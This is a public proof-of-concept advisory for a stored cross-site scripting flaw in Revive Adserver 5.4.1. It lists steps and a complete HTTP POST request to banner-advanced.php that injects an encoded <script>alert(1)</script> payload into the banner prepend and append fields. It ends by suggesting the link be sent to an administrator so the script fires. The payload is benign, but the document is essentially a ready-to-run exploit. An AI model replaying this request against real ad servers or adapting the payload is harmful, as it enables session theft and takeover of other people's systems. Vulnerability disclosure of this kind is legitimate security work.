Revive Adserver 5.4.1 Cross Site Scripting

`Exploit Title: revive-adserver v5.4.1 - Cross-Site Scripting (XSS)  
Application: revive-adserver  
Version: 5.4.1  
Bugs: XSS  
Technology: PHP  
Vendor URL: https://www.revive-adserver.com/  
Software Link: https://www.revive-adserver.com/download/  
Date of found: 31-03-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps:   
  
1. Go to create banner  
2. select the advanced section   
3. Write this payload in the prepend and append parameters (%3Cscript%3Ealert%281%29%3C%2Fscript%3E)   
  
POST /www/admin/banner-advanced.php HTTP/1.1  
Host: localhost  
Content-Length: 213  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: sessionID=5224583cf474cd32d2ef37171c4d7894  
Connection: close  
  
clientid=3&campaignid=2&bannerid=2&token=94c97eabe1ada8e7ae8f204e2ebf7180&prepend=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&append=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submitbutton=De%C4%9Fi%C5%9Fiklikleri+Kaydet  
  
  
  
We are sending this link to the admin. then if admin clicks it will be exposed to xss  
  
http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2  
  
`